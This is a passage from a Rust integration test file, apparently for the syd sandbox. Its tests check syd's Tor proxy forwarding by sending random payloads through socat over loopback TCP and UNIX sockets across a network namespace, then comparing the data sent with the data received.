SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX, use SYD_TEST_TOR_UNIX to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
{syd_pds} socat -u -d -d \
UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+127.0.0.1!9050' \
-msandbox/proxy:on \
-m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send66_many_seq() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
TCP6-LISTEN:0,bind=[::1],fork,ipv6only \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+::1!9050' \
-msandbox/proxy:on -mproxy/addr:::1 \
-mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP6:[::1]:9050,forever
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send64_many_seq() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
TCP4-LISTEN:0,bind=127.0.0.1,fork \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->127.0.0.1!$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+::1!9050' \
-msandbox/proxy:on -mproxy/addr:::1 \
-mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP6:[::1]:9050,forever
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send6u_many_seq() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail",
"mktemp", "readlink",
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
u=`shuf -n1 -i500-750`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX, use SYD_TEST_TOR_UNIX to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
{syd_pds} socat -u -d -d \
UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+::1!9050' \
-msandbox/proxy:on -mproxy/addr:::1 \
-m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP6:[::1]:9050,forever
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send44_many_par() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
TCP4-LISTEN:0,bind=127.0.0.1,fork \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+127.0.0.1!9050' \
-msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever &
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send46_many_par() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
TCP6-LISTEN:0,bind=[::1],fork,ipv6only \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->::1!$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+127.0.0.1!9050' \
-msandbox/proxy:on \
-mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever &
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send4u_many_par() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail",
"mktemp", "readlink",
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX, use SYD_TEST_TOR_UNIX to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
set -x
{syd_pds} socat -u -d -d \
UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+127.0.0.1!9050' \
-msandbox/proxy:on \
-m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP4:127.0.0.1:9050,forever &
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send66_many_par() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
TCP6-LISTEN:0,bind=[::1],fork,ipv6only \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+::1!9050' \
-msandbox/proxy:on -mproxy/addr:::1 \
-mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP6:[::1]:9050,forever &
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send64_many_par() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail"
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
set -x
{syd_pds} socat -u -d -d \
TCP4-LISTEN:0,bind=127.0.0.1,fork \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->127.0.0.1!$SYD_TEST_TOR_PORT across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+::1!9050' \
-msandbox/proxy:on -mproxy/addr:::1 \
-mproxy/ext/port:$SYD_TEST_TOR_PORT \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP6:[::1]:9050,forever &
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_tor_send6u_many_par() -> TestResult {
skip_unless_unshare!("user", "net");
skip_unless_available!(
"dd", "diff", "grep", "kill", "sed", "seq", "sh", "shuf", "socat", "sort", "tail",
"mktemp", "readlink",
);
let syd = &SYD.to_string();
let syd_hex = &SYD_HEX.to_string();
let syd_pds = &SYD_PDS.to_string();
let syd_size = &SYD_SIZE.to_string();
let status = Command::new("timeout")
.arg("-sKILL")
.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
.arg("sh")
.arg("-c")
.arg(format!(
r##"
p=`mktemp -u`
SYD_TEST_TOR_UNIX=${{SYD_TEST_TOR_UNIX:-$p}}
u=`shuf -n1 -i250-500`
SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using UNIX socket path $SYD_TEST_TOR_UNIX, use SYD_TEST_TOR_UNIX to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
